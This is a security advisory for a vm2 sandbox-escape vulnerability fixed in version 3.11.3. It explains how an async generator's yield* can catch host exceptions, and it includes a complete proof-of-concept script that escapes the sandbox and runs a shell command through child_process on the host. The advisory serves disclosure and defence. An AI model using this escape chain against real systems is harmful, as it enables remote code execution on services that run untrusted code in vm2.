vm2 Has a Sandbox Breakout Using Async Generator

Summary

VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

Details

It is possible to catch a host exception using the yield* expression inside an async generator. When the generator is closed using the return function, the value is awaited on and exceptions thrown in the then call will be catched by the runtime and passed to the yield* iterator as the next value.

PoC

const {VM} = require("vm2"); const vm = new VM(); console.log(vm.run(` class E extends Error {} function so(d) { if (d > 0) so(d-1); const e = new E(); e.stack; throw e; } async function* helper() { yield* { [Symbol.asyncIterator]: ()=>({ next: v=>({value: v, done: false}) }) }; } async function doCatch(f) { const i=helper(); await i.next(); const v = await i.return({then(r){f();r();}}); return v.value; } (async function f() { let min = 0; let max = 10000000; while (min<max) { const mid = (min+max)>>1; const e = await doCatch(()=>so(mid)); if (e.name==="RangeError" && !(e instanceof RangeError)) { e.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned'); return; } if (e instanceof E) { min = mid+1; } else { max = mid; } } })(); `));

Impact

Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.

vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.3, it is possible to catch a host exception using the yield* expression inside an async generator. When the generator is closed using the return function, the value is awaited on and exceptions thrown in the then call will be caught by the runtime and passed to the yield* iterator as the next value. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. This vulnerability is fixed in 3.11.3.
